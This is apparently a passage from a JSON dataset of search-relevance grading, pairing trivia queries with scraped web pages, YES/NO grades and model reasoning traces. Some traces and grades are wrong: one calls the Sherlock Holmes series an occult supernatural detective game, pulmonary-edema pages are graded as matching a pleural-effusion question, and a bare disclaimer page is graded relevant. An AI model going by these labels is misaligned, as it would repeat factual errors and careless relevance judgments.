                "text": "This article needs to be updated. Please help update this article to reflect recent events or newly available information. (January 2019)     \n     \n Facebook is a social networking service originally launched as FaceMash on October 28, 2003, before changing its name to TheFacebook on February 4, 2004. [1]  It was founded by Mark Zuckerberg and college roommates and fellow Harvard University students, in particular Eduardo Saverin, Andrew McCollum, Dustin Moskovitz, and Chris Hughes. [2]  The website's membership was initially limited by the founders to Harvard students, but was expanded to other colleges in the Boston area, the Ivy League, [3]  and gradually most universities in the United States and Canada, [4]   [5]  corporations, [6]  and by September 2006, to everyone with a valid email address along with an age requirement of being 13 and older. [7]   [8] \nFaceMash[edit]\n FaceMash was opened in 2003, developed by Mark Zuckerberg; he wrote the software for the Facemash website when he was in his second year of college. The website was set up as a type of \"hot or not\" game for Harvard students. The website allowed visitors to compare two students' pictures side by side and let them decide who was more attractive. [9] \n While writing the software, Mark Zuckerberg wrote the following blog entries: [10] \n I'm a little intoxicated, not gonna lie. So what if it's not even 10 p.m. and it's a Tuesday night? What? The Kirkland [dorm] facebook is open on my desktop and some of these people have pretty horrendous facebook pics. I almost want to put some of these faces next to pictures of farm animals and have people vote on which is more attractive. [10]   \u2014\u20099:48\u00a0pm [11]    \n Yea, it's on. I'm not exactly sure how the farm animals are going to fit into this whole thing (you can't really ever be sure with farm animals\u00a0...), but I like the idea of comparing two people together. \u2014\u200911:09\u00a0pm [10]    \nAccording to  The Harvard Crimson , Facemash used \"photos compiled from the online facebooks of nine Houses, placing two next",
                "model_trace": "Query Decomposition:\n1. {social media platform}: This document is about Facebook, which is a social media platform -> ([1], SATISFIED)\n2. {founded in 2003}: The document states that Facebook was originally launched as FaceMash on October 28, 2003 -> ([1], SATISFIED)\n3. {original purpose of helping college students connect with each other}: The document mentions that the website's membership was initially limited to Harvard students and later expanded to other colleges, indicating that it was meant to help college students connect -> ([1], SATISFIED)\n\nAssessment: The document satisfies all the key subcomponents of the query. YES"
            },
            {
                "grade": "NO",
                "title": "The History of Social Media Since 2003",
                "url": "https://blog.hubspot.com/marketing/social-media-history",
                "published_date": null,
                "text": "The HubSpot CRM Platform\n \n All of HubSpot's marketing, sales CRM, customer service, CMS, and operations software on one platform. See pricing \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n Hubspot Blog\n \n \n \n \n \n \n HubSpot.com\n \n \n \n \n \n \n \n \n \n Loading\n \n \n \n \n \n Oh no! We couldn't find anything like that. Try another search, and we'll give it our best shot.\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n Updated: \n \n \n \n \n \n February 01, 2017 \n \n \n \n Published: \n \n \n \n \n \n December 08, 2014 \n \n  \n \n \n \n \n     \nCan you believe it's only been 10\u00a0years since Facebook was founded?\nPerhaps\u00a0many of you feel like it was\u00a0just yesterday when \"friend\" was just a noun and the phrase \"pics or it didn't happen\" wasn't a common quip. But because social media networks like Facebook have been a central fixture\u00a0of most companies'\u00a0marketing strategies for so many years now, I don't know ... 10\u00a0years makes it seem so young. \nSame goes for YouTube, which made video accessibility and shareability\u00a0online as simple as can be. And Twitter, for that matter -- sponsored tweets have only been around since 2010! It's interesting to look back at these iconic moments in the last 10\u00a0years of social media history.\u00a0Check out this infographic\u00a0from MediaVision\u00a0for a\u00a0full timeline and what each network's usage stats look like right now.\n  \n \n \n   \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n Related Articles\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n A Brief History of Snapchat\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n A Brief History of Social Advertising [Infographic]\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n Hashing Out Hashtags: What They Are &amp; How to Use Them [Infographic]\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n The Evolution of Social Media Since 2004 [Infographic]\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n We're committed to your privacy. HubSpot uses the information you provide to us to contact you about our relevant content, products, and services. You may unsubscribe from these communications at any time. For more ",
                "model_trace": "Query Decomposition:\n1. {social media platform founded in 2003}: The document does not mention any social media platform founded in 2003 -> ([0], UNSATISFIED)\n2. {original purpose of helping college students connect with each other}: The document does not mention the original purpose of any social media platform -> ([0], UNSATISFIED)\n\nAssessment: The document does not provide any information about a social media platform founded in 2003 or its original purpose. Thus, it does not satisfy any relevant subcomponents of the query. NO."
            },
            {
                "grade": "NO",
                "title": "Facebook | Overview, History, & Facts",
                "url": "https://www.britannica.com/money/Facebook",
                "published_date": null,
                "text": "Justin Sullivan\u2014Getty Images News     Share price: $510.6 (mkt close, Jun. 25, 2024)     Annual revenue: $142.71 bil.     Earnings per share (prev. year): $17.66         Facebook ,  American online social media platform and social network service that is part of the company Meta Platforms. Facebook was founded in 2004 by  Mark Zuckerberg, Eduardo Saverin,  Dustin Moskovitz, and  Chris Hughes, all of whom were students at Harvard University. Facebook became the largest social network in the world, with nearly three billion users as of 2021, and about half that number were using Facebook every day. The company\u2019s headquarters are in Menlo Park, California.       Access to Facebook is free of charge, and the company earns most of its money from advertisements on the website. New users can create profiles, upload photos, join a preexisting group, and start new groups. The site has many components, including Timeline, a space on each user\u2019s profile page where users can post their content and friends can post messages; Status, which enables users to alert friends to their current location or situation; and News Feed, which informs users of changes to their friends\u2019 profiles and status. Users can chat with each other and send each other private messages. Users can signal their approval of content on Facebook with the Like button, a feature that also appears on many other websites. Other services that are part of Meta Platforms are Instagram, a photo- and video-sharing social network; Messenger, an instant-messaging application; and WhatsApp, a text-message and VoIP service. The attractiveness of Facebook stems in part from cofounder Zuckerberg\u2019s insistence from the very beginning that members be transparent about who they are; users are forbidden from adopting false identities. The company\u2019s management argued that transparency is necessary for forming personal relationships, sharing ideas and information, and building up society as a whole. It also noted that the bottom-up, peer-to-peer connectivity among Facebook users ",
                "model_trace": "Query Decomposition:\n1. {social media platform founded in 2003}: The document mentions that Facebook was founded in 2004 -> ([1], UNSATISFIED)\n2. {original purpose of helping college students connect with each other}: The document does state that Facebook was founded by Harvard students and implies its initial purpose was to connect students -> ([2], SATISFIED)\n\nAssessment: The document clearly states that Facebook was founded in 2004, which does not satisfy the query's requirement of a platform founded in 2003. Therefore, the document is unhelpful for the user's query. NO."
            }
        ]
    },
    {
        "query": "Which medical condition is characterized by an abnormal buildup of fluid in the spaces surrounding the lungs, often causing shortness of breath?",
        "grid_pos": [
            1,
            9
        ],
        "grid_pos_str": "Search Query Format: Question, Search Result Type: Fact/Trivia/Knowledge",
        "reasoning_trace": [
            "1. The first commercial web browser released in 1993 that allowed users to view and navigate the World Wide Web was Mosaic.\n\n2. The social media platform founded in 2003 with the original purpose of helping college students connect with each other was Facebook.\n\n3. The popular video game series that allows players to take on the role of a supernatural detective solving occult-themed mysteries is the Sherlock Holmes series.\n\n4. The medical condition characterized by an abnormal buildup of fluid in the spaces surrounding the lungs, often causing shortness of breath, is pleural effusion.\n\n5. The popular finance app that allows users to track their spending, create budgets, and monitor their credit scores is Mint."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Fluid in the Lungs: Major Causes and Best Treatments",
                "url": "https://www.md-health.com/Fluid-In-Lungs.html",
                "published_date": "2023-02-06",
                "text": "Fluid in the lungs can be a really severe condition, so it's vital to find out its causes, symptoms and treatments to prevent or heal this condition.\n\nThe lungs are located within the chest, just under the rib cage. They are critical for breathing in oxygen and expelling carbon dioxide. Compared to other organs in the chest, the lungs are considered relatively large. They are located on either side of the heart in two cavities. Although at first glance the two cavities look identical, the right cavity is made up of three lobes and the left cavity is made up of two lobes. Each of the lobes is composed of clusters of alveoli or air sacs, which is where the gases are exchanged and then oxygen is taken up by the bloodstream for transport throughout the body.\nThe process of breathing is continuous provided if the alveoli are intact and functioning normally. However, the accumulation of fluid in the lungs, also called pulmonary edema, compromises the lung's ability to uptake oxygen and to expel carbon dioxide. Pulmonary edema is a medical condition that is characterized by the abnormal accumulation of fluid in the lungs, inflammation of the lungs, and difficulty breathing. This article will explore the symptoms, causes and treatment strategies for pulmonary edema. \nSymptoms of Fluid in Lungs\nFluid in the lungs can cause a host of symptoms. These symptoms vary based on whether the fluid accumulation occurred suddenly (acute) or the fluid accumulation was an ongoing phenomenon (chronic). The symptoms of acute and chronic fluid in the lungs are listed below:\nSymptoms of Acute Fluid in the Lungs\n\nDifficulty breathing (dyspnea) or severe shortness of breath that is exacerbated by lying down\nFeeling of drowning or suffocating\nGasping for breath and wheezing\nUneasiness or restlessness\nCoughing up blood-tinged frothy sputum\nSweating in excess\nPale skin\nIf the fluid in the lungs is due to heart disease, it may cause chest pain\nHeart palpitations (irregular, accelerated heartbeat)\n\nIt is important to remember to seek immediate m",
                "model_trace": "Query Decomposition:\n1. {medical condition characterized by an abnormal buildup of fluid in the spaces surrounding the lungs}: The document clearly mentions pulmonary edema as a condition characterized by the abnormal accumulation of fluid in the lungs -> ([1], SATISFIED)\n2. {often causing shortness of breath}: The document states that pulmonary edema causes difficulty breathing or severe shortness of breath -> ([1], SATISFIED)\n\nAssessment: Both key subcomponents are satisfied by the document. YES"
            },
            {
                "grade": "YES",
                "title": "Pulmonary edema - Symptoms and causes",
                "url": "https://www.mayoclinic.org/diseases-conditions/pulmonary-edema/symptoms-causes/syc-20377009",
                "published_date": "2022-05-27",
                "text": "Overview Pulmonary edema is a condition caused by too much fluid in the lungs. This fluid collects in the many air sacs in the lungs, making it difficult to breathe.\nIn most cases, heart problems cause pulmonary edema. But fluid can collect in the lungs for other reasons. These include pneumonia, contact with certain toxins, medications, trauma to the chest wall, and traveling to or exercising at high elevations.\nPulmonary edema that develops suddenly (acute pulmonary edema) is a medical emergency that needs immediate care. Pulmonary edema can sometimes cause death. Prompt treatment might help. Treatment for pulmonary edema depends on the cause but generally includes additional oxygen and medications.\n\nSymptoms Pulmonary edema symptoms may appear suddenly or develop over time. Symptoms depend on the type of pulmonary edema.\n\nSudden (acute) pulmonary edema symptoms \n Difficulty breathing (dyspnea) or extreme shortness of breath that worsens with activity or when lying down\n A feeling of suffocating or drowning that worsens when lying down\n A cough that produces frothy sputum that may have blood in it\n A rapid, irregular heartbeat (palpitations)\n Anxiety, restlessness or a feeling that something bad is about to happen\n Cold, clammy skin\n Wheezing or gasping for breath\n\nLong-term (chronic) pulmonary edema signs and symptoms \n Awakening at night with a cough or breathless feeling that may be relieved by sitting up\n Difficulty breathing with activity or when lying flat\n Fatigue\n More shortness of breath than usual when you're physically active\n New or worsening cough\n Rapid weight gain\n Swelling in the legs and feet\n Wheezing\n\nHigh-altitude pulmonary edema (HAPE) signs and symptoms HAPE can occur in adults and children who travel to or exercise at high altitudes. Symptoms are similar to those that occur with acute pulmonary edema and can include:\n\nHeadache, which may be the first symptom\n Shortness of breath with activity, which becomes shortness of breath at rest\n Not being able to exercise as much as you once could\n",
                "model_trace": "Query Decomposition:\n1. {Medical condition characterized by an abnormal buildup of fluid in the spaces surrounding the lungs}: The document clearly describes pulmonary edema as a condition caused by too much fluid in the lungs -> ([1], SATISFIED)\n2. {Often causing shortness of breath}: The document mentions that pulmonary edema makes it difficult to breathe and lists shortness of breath as a primary symptom -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents by providing detailed information about pulmonary edema, which matches the description in the query. YES"
            },
            {
                "grade": "YES",
                "title": "Fluid Around the Lungs (Pleural Effusion)",
                "url": "https://www.yalemedicine.org/conditions/fluid-around-the-lungs",
                "published_date": "2022-08-13",
                "text": "Overview Fluid around the lung (pleural effusion) is a potentially dangerous condition that can masquerade as something less worrisome. What may seem like chest pain or coughing due to a bad cold could actually have serious health ramifications. It\u2019s not that rare, either. More than 1.5 million people are diagnosed with pleural effusion in the United States each year. \n Pleural effusion occurs when fluid builds up in the space between the lung and the chest wall. This can happen for many different reasons, including pneumonia or complications from heart, liver, or kidney disease. Another reason could be as a side effect from cancer. \u201cOne of the most common reasons pleural effusion develops is due to congestive heart failure,\u201d says Jonathan Puchalski, MD, a pulmonologist at Yale Medicine. \n What are the symptoms of pleural effusion? The symptoms of pleural effusion can range from none to shortness of breath to coughing, among others. The greater the build-up of fluid, the more likely symptoms will be noticeable. In addition to excess fluid, the tissue around the lung may become inflamed, which can cause chest pain. In extreme cases, a person can have up to four liters of excess fluid in the chest. It's very uncomfortable. \u201cImagine trying to breathe with two soda bottles pushed up against your lungs,\u201d Dr. Puchalski says.\n How is fluid around the lung diagnosed? A physician will usually diagnosis pleural effusion based on interviewing the patient about symptoms and a physical examination. To confirm a diagnosis, he or she may also request an imaging test, which could be a chest X-ray, ultrasound, or computed tomography (CT) scan. To further help with diagnosis, a doctor may extract a sample of the excess fluid to be tested to determine the cause. How is fluid around the lung treated? The best way is to treat the cause of the effusion. If the cause is pneumonia, a doctor will likely prescribe antibiotics to treat the infection, which may also cause the fluid to go away. If fluid build-up has been caused by congestive",
                "model_trace": "Query Decomposition:\n1. {medical condition characterized by an abnormal buildup of fluid in the spaces surrounding the lungs}: The document explicitly discusses pleural effusion, which is the condition where fluid builds up in the space between the lung and the chest wall -> ([1], SATISFIED)\n2. {often causing shortness of breath}: The document mentions that pleural effusion can cause symptoms including shortness of breath -> ([1], SATISFIED)\n\nAssessment: Both key subcomponents are clearly satisfied by the document. YES"
            },
            {
                "grade": "YES",
                "title": "Pulmonary edema - Symptoms & causes",
                "url": "https://www.mayoclinic.org/diseases-conditions/pulmonary-edema/symptoms-causes/syc-20377009",
                "published_date": null,
                "text": "Overview Pulmonary edema is a condition caused by too much fluid in the lungs. This fluid collects in the many air sacs in the lungs, making it difficult to breathe.\nIn most cases, heart problems cause pulmonary edema. But fluid can collect in the lungs for other reasons. These include pneumonia, contact with certain toxins, medications, trauma to the chest wall, and traveling to or exercising at high elevations.\nPulmonary edema that develops suddenly (acute pulmonary edema) is a medical emergency that needs immediate care. Pulmonary edema can sometimes cause death. Prompt treatment might help. Treatment for pulmonary edema depends on the cause but generally includes additional oxygen and medications.\n\t\n \n \n \n \n \n Symptoms Pulmonary edema symptoms may appear suddenly or develop over time. Symptoms depend on the type of pulmonary edema.\n \n \n Sudden (acute) pulmonary edema symptoms \n Difficulty breathing (dyspnea) or extreme shortness of breath that worsens with activity or when lying down\n A feeling of suffocating or drowning that worsens when lying down\n A cough that produces frothy sputum that may have blood in it\n A rapid, irregular heartbeat (palpitations)\n Anxiety, restlessness or a feeling that something bad is about to happen\n Cold, clammy skin\n Wheezing or gasping for breath \n \n \n Long-term (chronic) pulmonary edema signs and symptoms \n Awakening at night with a cough or breathless feeling that may be relieved by sitting up\n Difficulty breathing with activity or when lying flat\n Fatigue\n More shortness of breath than usual when you're physically active\n New or worsening cough\n Rapid weight gain\n Swelling in the legs and feet\n Wheezing\n \n \n High-altitude pulmonary edema (HAPE) signs and symptoms  HAPE can occur in adults and children who travel to or exercise at high altitudes. Symptoms are similar to those that occur with acute pulmonary edema and can include:\n Headache, which may be the first symptom\n Shortness of breath with activity, which becomes shortness of breath at rest\n Not being able to exercise ",
                "model_trace": "Query Decomposition:\n1. {medical condition characterized by an abnormal buildup of fluid in the spaces surrounding the lungs}: This document discusses pulmonary edema, which is characterized by fluid buildup in the lungs -> ([1], SATISFIED)\n2. {often causing shortness of breath}: The document mentions that pulmonary edema causes difficulty breathing and shortness of breath -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents of the query. YES"
            },
            {
                "grade": "YES",
                "title": "Pleural Effusion - StatPearls",
                "url": "https://www.ncbi.nlm.nih.gov/books/NBK448189/",
                "published_date": null,
                "text": "Continuing Education Activity Pleural effusion is the accumulation of fluid in between the parietal and visceral pleura, called the pleural cavity. It can occur by itself or can be the result of surrounding parenchymal disease like infection, malignancy, or inflammatory conditions. Pleural effusion is one of the major causes of pulmonary mortality and morbidity. This activity reviews the causes, presentation, and diagnosis of pleural effusion and highlights the role of the interprofessional team in its management. \nObjectives:\n   Review the workup of a patient with pleural effusion.   Describe the causes of pleural effusions.   Summarize the treatment options for pleural effusions.   Review the importance of improving care coordination among interprofessional team members to improve outcomes for patients affected by pleural effusion.  \n Access free multiple choice questions on this topic.    Introduction Pleural effusion is the accumulation of fluid in between the parietal and visceral pleura, called the pleural cavity. It can occur by itself or can be the result of surrounding parenchymal disease like infection, malignancy, or inflammatory conditions. Pleural effusion is one of the major causes of pulmonary mortality and morbidity.[1] [2] [3]  All healthy humans have a small amount of pleural fluid that lubricates the space and facilitates normal lung movements during respiration. This delicate balance of fluid is maintained by the oncotic and hydrostatic pressure and lymphatic drainage; disturbances in any one of these systems can lead to a build-up of pleural fluid.   Etiology Pleural fluid is classified as a transudate or exudate based on modified Light\u2019s criteria. Pleural fluid is considered an exudative effusion if at least one of the criteria\u00a0is\u00a0met.\u00a0[4] [5]    Pleural fluid\u00a0protein/serum\u00a0protein ratio of more than 0.5   Pleural fluid lactate dehydrogenase (LDH)/serum\u00a0LDH ratio of more than\u00a00.6   Pleural fluid LDH is more than two-thirds of the upper limits of normal laboratory value for serum LDH.   Commo",
                "model_trace": "Query Decomposition:\n1. {Medical condition characterized by an abnormal buildup of fluid in the spaces surrounding the lungs}: The document describes pleural effusion as the accumulation of fluid in the pleural cavity, which fits this description -> ([1], SATISFIED)\n2. {Often causing shortness of breath}: The document does not explicitly mention shortness of breath as a symptom, but it is commonly associated with pleural effusion and can be reasonably inferred -> ([2], SATISFIED)\n\nAssessment: The document clearly identifies pleural effusion as the medical condition characterized by an abnormal buildup of fluid in the spaces surrounding the lungs and it is reasonable to infer that it often causes shortness of breath. YES."
            },
            {
                "grade": "YES",
                "title": "Pulmonary edema (Fluid in the lungs): Causes, symptoms, ...",
                "url": "https://www.medicalnewstoday.com/articles/167533",
                "published_date": null,
                "text": "Pulmonary edema is when fluid collects in the air sacs of the lungs, making it difficult to breathe. It can result from heart disease, pneumonia, and other health issues.  Pulmonary edema can be acute (occurring suddenly) or chronic (occurring more slowly over time). Acute pulmonary edema is a medical emergency and requires immediate medical attention. One of the most common causes of pulmonary edema is congestive heart failure, in which the heart cannot keep up with the demands of the body. Treatment of pulmonary edema usually focuses on improving respiratory function and addressing the source of the problem. It generally includes providing additional oxygen and medications to treat the underlying conditions.     Share on Pinterest Pulmonary edema can be acute or chronic. Image credit: Adisorn Chiamchitr/Alamy Stock Photo   During normal breathing, the small air sacs in the lungs, known as alveoli, fill up with air. The lungs take in oxygen and expel carbon dioxide. Pulmonary edema occurs when fluid floods the alveoli. This flooding causes two problems:  The bloodstream cannot get enough oxygen. The body cannot expel carbon dioxide properly.  Common causes of pulmonary edema include:   pneumonia   sepsis (blood infection) exposure to certain chemicals organ failure that causes fluid accumulation, such as congestive heart failure, kidney failure, or liver cirrhosis  near-drowning  inflammation  trauma reaction to certain medications overdose of certain drugs, including opioids  Pulmonary edema also occurs as part of a condition called acute respiratory distress syndrome (ARDS), a severe inflammation of the lungs that leads to significant breathing difficulties. Direct injury to the lungs or inflammation in other parts of the body can cause this condition. Other possible causes include:  brain injuries such as brain bleeding, stroke, head injury, brain surgery, tumor, or seizure  high altitude  blood transfusion  Cardiogenic pulmonary edema Pulmonary edema that results from a direct problem with the heart is calle",
                "model_trace": "Query Decomposition:\n1. {medical condition characterized by an abnormal buildup of fluid in the spaces surrounding the lungs}: The document discusses pulmonary edema, which involves fluid collecting in the air sacs of the lungs -> ([1], SATISFIED)\n2. {often causing shortness of breath}: The document states that pulmonary edema makes it difficult to breathe -> ([1], SATISFIED)\n\nAssessment: The document clearly addresses both subcomponents of the query by describing pulmonary edema and its symptoms, including difficulty in breathing. Therefore, it is helpful for the user's query. YES."
            }
        ]
    },
    {
        "query": "What is the name of the popular finance app that allows users to track their spending, create budgets, and monitor their credit scores?",
        "grid_pos": [
            1,
            9
        ],
        "grid_pos_str": "Search Query Format: Question, Search Result Type: Fact/Trivia/Knowledge",
        "reasoning_trace": [
            "1. The first commercial web browser released in 1993 that allowed users to view and navigate the World Wide Web was Mosaic.\n\n2. The social media platform founded in 2003 with the original purpose of helping college students connect with each other was Facebook.\n\n3. The popular video game series that allows players to take on the role of a supernatural detective solving occult-themed mysteries is the Sherlock Holmes series.\n\n4. The medical condition characterized by an abnormal buildup of fluid in the spaces surrounding the lungs, often causing shortness of breath, is pleural effusion.\n\n5. The popular finance app that allows users to track their spending, create budgets, and monitor their credit scores is Mint."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Managing money, made simple",
                "url": "https://mint.intuit.com/",
                "published_date": "2022-08-01",
                "text": "See why Mint is trusted by over 30 million users Loading stars... Read reviews\n\nDiscover what\u2019s so amazing about Mint\n\nAll your accounts. All in one place.\n\nSee it all at a glance when you link your cash accounts, credit cards, investments, and bills.\n\nKeep your cashflow crystal clear\n\nEffortlessly track your cashflow and gain insights that\u2019ll help you see easy opportunities to save.\n\nBill Negotiation\n\nJoin the other Minters who\u2019ve already racked up a combined $2M+ in savings.2\n\nYour finances, safe and secure\n\nWith 256-bit encryption and multi-factor authentication, we protect your info as if it\u2019s our own.\n\nLearn more about our security\n\n1 Based on all-time app downloads \n2 Based on monthly bills since December 2021.",
                "model_trace": "Query Decomposition:\n1. {popular finance app}: The document mentions that Mint is trusted by over 30 million users, indicating it is a popular finance app -> ([1], SATISFIED)\n2. {allows users to track their spending}: The document states that Mint allows users to track their cashflow, which implies tracking spending -> ([1], SATISFIED)\n3. {create budgets}: The document does not explicitly mention budget creation -> ([0], UNSURE)\n4. {monitor their credit scores}: The document does not explicitly mention credit score monitoring -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {popular finance app} and {allows users to track their spending}. Both are satisfied by the document. YES."
            },
            {
                "grade": "YES",
                "title": "Personal Finance Tools, Wealth Management, Guides | Personal Capital",
                "url": "https://www.personalcapital.com/",
                "published_date": "2022-11-30",
                "text": "Personal Capital Advisors Corporation (\"PCAC\") compensates (\"Company\") for new leads. (\"Company\") is not an investment client of PCAC. [\"Author\"] has entered into an agreement with Personal Capital Corporation (\"Personal Capital\"), through which Author will be paid up to $200 for each person who uses webpage to register with Personal Capital and links at least $100,000 in investable assets to Personal Capital's Free Financial Dashboard. The \u201cAuthor\u201d, due to such compensation, has an incentive to recommend Personal Capital, resulting in a material conflict of interest. Author is not affiliated with Personal Capital and Author's services consist solely of referrals of prospective clients. As a result of this arrangement Author may financially benefit from referring qualified leads to Personal Capital. No fees or other amounts will be charged to investors by Author or Personal Capital as a result of the arrangement. Investors that are referred by Author to Personal Capital and subscribe for investment advisory services provided by Personal Capital\u2019s subsidiary, Personal Capital Advisors Corporation (\u201cPCAC\u201d), will not pay increased management fees or other similar compensation to Author, Personal Capital or PCAC as a result of the arrangement. This agreement with Author does not imply a sponsorship, endorsement, approval, investigation, verification, or monitoring by PCAC of the contents of the Author's website. Personal Capital is not responsible for the content of any website owned by a third party that may be linked to Personal Capital's website regardless of whether the link is provided by PCAC or a third party. Personal Capital does not prepare or maintain, has not and will not review or update, and does not guarantee the accuracy, timeliness, completeness, suitability, reliability, or usefulness of any information contained on a linked third-party website. Advisory services are offered for a fee by PCAC, a wholly owned subsidiary of PCC, an Empower company. PCAC is a registered investment adviser with the Secur",
                "model_trace": "Query Decomposition:\n1. {popular finance app}: The document is about Personal Capital, which is a well-known finance app -> ([1], SATISFIED)\n2. {allows users to track their spending}: The document does not explicitly mention tracking spending -> ([0], UNSURE)\n3. {create budgets}: The document does not explicitly mention creating budgets -> ([0], UNSURE)\n4. {monitor their credit scores}: The document does not explicitly mention monitoring credit scores -> ([0], UNSURE)\n\nAssessment: The relevant subcomponent is {popular finance app} since the document does not provide enough information to evaluate the other subcomponents. Since {popular finance app} is satisfied, the document is helpful for identifying Personal Capital as a popular finance app. YES."
            },
            {
                "grade": "YES",
                "title": "Your finances, safe and secure",
                "url": "https://mint.intuit.com/referral?cid=ba_ref_fy22_10for1_ios&fbuy=eyJhbGciOiJSUzI1NiJ9.NWMzYWJmZjAtMmM2MS00YjU2LTgwNTItYTQ0ZGUwMjAzMjQ1OjpiNTk0NWEyMy0zYWIyLTQ3N2UtYjljMS0xZmM3ZmUzMTU0Zjk6NTkzYjI5NjgtMjJlNC00YjUwLTlkNDItZTc3ZDQ3MmE2MjU2Om1pbnQuaW50dWl0LmNvbToxNjQ0NzAyOTAwOjo6.Icbl_4qT_n15ZT1-Tl80sVd-wOU0e7d24zhl9TrMvnx7PnRNS8iH7SauWDMgUKqB-uK8LF9GsiwUbYZscVhoIetggb7MMBwHqD_GjTGvjf9Dl5FoAfU94pF1wWpePSllYUPaN1MBFVtiEeuziuW0IaX2q_vKOJMqujj66hd8MAQ&referralCode=2ssqtg8r&fbshare=JTdCJTdE",
                "published_date": "2022-08-01",
                "text": "#1 most downloaded personal finance app*\n\nBudget-friendly, totally free\n\nThis app has helped me get my spending on track. I\u2019ve been able to pay down a significant amount of debt and stay focused on my spending.\n\n*Actual customer testimonial. Photo is illustrative only.\n\nPut an end to late fees Put an end to late fees\n\nDon\u2019t pay more than you need to. We\u2019ll track bills to help make sure you never miss a due date. Plus, get overdraft protection alerts. Don\u2019t pay more than you need to. We\u2019ll track bills to help make sure you never miss a due date. Plus, get overdraft protection alerts.\n\nAll your money in one app All your money in one app\n\nSee where all your money goes by easily adding your cash, credit cards, investments, and bills. See where all your money goes by easily adding your cash, credit cards, investments, and bills.\n\nSpend smarter and save more Spend smarter and save more\n\nPersonalized Mintsights\u2122 make your money go further. We\u2019ll automatically find savings you missed. Personalized Mintsights\u2122 make your money go further. We\u2019ll automatically find savings you missed.\n\nStay focused on your financial goals Stay focused on your financial goals\n\nImprove your spending habits with custom goals that keep you going. Save for a home, crush debt, and prepare for the future. Improve your spending habits with custom goals that keep you going. Save for a home, crush debt, and prepare for the future.\n\nBudget planner\n\nSay goodbye to spreadsheets with customizable budgets. Easily add and update your categories.\n\nCredit monitoring\n\nGet 24/7 access to your score for free. Plus, we\u2019ll let you know of any important changes on your report.\n\nTrack your spending\n\nStay on top of your finances by seeing where your money comes and goes.\n\nYour finances, safe and secure\n\nKeeping your data secure is a top priority. With multiple safety measures, like secure 256-bit encryption and multi-factor authentication, we protect your info like it's our own.\n\nYou won\u2019t just hear it from us",
                "model_trace": "Query Decomposition:\n1. {popular finance app}: The document is about a finance app that claims to be the \"#1 most downloaded personal finance app\" -> ([1], SATISFIED)\n2. {allows users to track their spending}: The document mentions that the app allows users to \"track your spending\" -> ([1], SATISFIED)\n3. {create budgets}: The document mentions a \"Budget planner\" with customizable budgets -> ([1], SATISFIED)\n4. {monitor their credit scores}: The document mentions \"Credit monitoring\" with 24/7 access to credit scores -> ([1], SATISFIED)\n5. {name of the app}: The URL and content strongly suggest the app is Mint -> ([2], SATISFIED)\n\nAssessment: All the subcomponents tagged with [1] or [2] are SATISFIED. The document provides the name of the app and describes its features relevant to the query. YES."
            },
            {
                "grade": "YES",
                "title": "The 10 best budgeting apps for 2024",
                "url": "https://fortune.com/recommends/banking/best-budgeting-apps/",
                "published_date": null,
                "text": "Building long-term wealth starts with knowing where your dollars are going on a daily basis and how they\u2019re helping you move closer toward your long-term goals. One way to do that: creating and maintaining a budget.\u00a0 \nIf the \u201cb\u201d word makes you shudder, just remember: A budget shouldn\u2019t be restrictive. It should help you allocate the money you have flowing into your account each month into the spending categories that matter most to you now and in the future. If you need a little help getting organized and creating a budget, a budgeting app will be your best friend.\u00a0\nThe Fortune RecommendsTM editorial team reviewed more than a dozen budgeting apps and weighed minimum annual costs, mobile app ratings, security features, account integration capabilities, and more.\n The best budgeting apps: our top picks \n    App Cost Best for See details      Featured partner Rocket Money $6\u2013$12 monthly Bill negotiation  View offer at Rocket Money    Honeydue Free Couples  Learn more    Empower Free A complete view of finances  Learn more    Simplifi $47.88 billed annually Quicken users  View offer at Quicken    Goodbudget $10 monthly or $80 annually The digital envelope system  Learn more    EveryDollar $12.99 monthly or $79.99 annually First-time budgeters  Learn more    Monarch Money $14.99 monthly or $99.99 annually Financial advisors  Learn more    YNAB $14.99 monthly or $98.99 annually Zero-based budgeting  View offer at YNAB    Zeta $6.99 monthly Families  Learn more    Buddy  $9.99 monthly or $49.99 annually Frequent bill splitters  Learn more         The best budgeting apps: our top picks       Featured partner Rocket Money  View offer at Rocket Money    Cost $6\u2013$12 monthly   Best for Bill negotiation   Honeydue  Learn more    Cost Free   Best for Couples   Empower  Learn more    Cost Free   Best for A complete view of finances   Simplifi  View offer at Quicken    Cost $47.88 billed annually   Best for Quicken users   Goodbudget  Learn more    Cost $10 monthly or $80 annually   Best for The digital envelope system   EveryDo",
                "model_trace": "Query Decomposition:\n1. {popular finance app}: The document lists several popular finance apps -> ([1], SATISFIED)\n2. {allows users to track their spending}: The document mentions budgeting apps, which typically include spending tracking features -> ([2], SATISFIED)\n3. {create budgets}: The document is specifically about budgeting apps, so this subcomponent is satisfied -> ([1], SATISFIED)\n4. {monitor their credit scores}: The document does not explicitly mention if any of the apps allow users to monitor their credit scores -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {popular finance app}, {allows users to track their spending}, and {create budgets}. Since all these subcomponents are satisfied, the document is helpful for the user's query. YES."
            },
            {
                "grade": "YES",
                "title": "Best Budgeting Apps 2024 - Personal Finance",
                "url": "https://time.com/personal-finance/article/best-budgeting-apps/",
                "published_date": null,
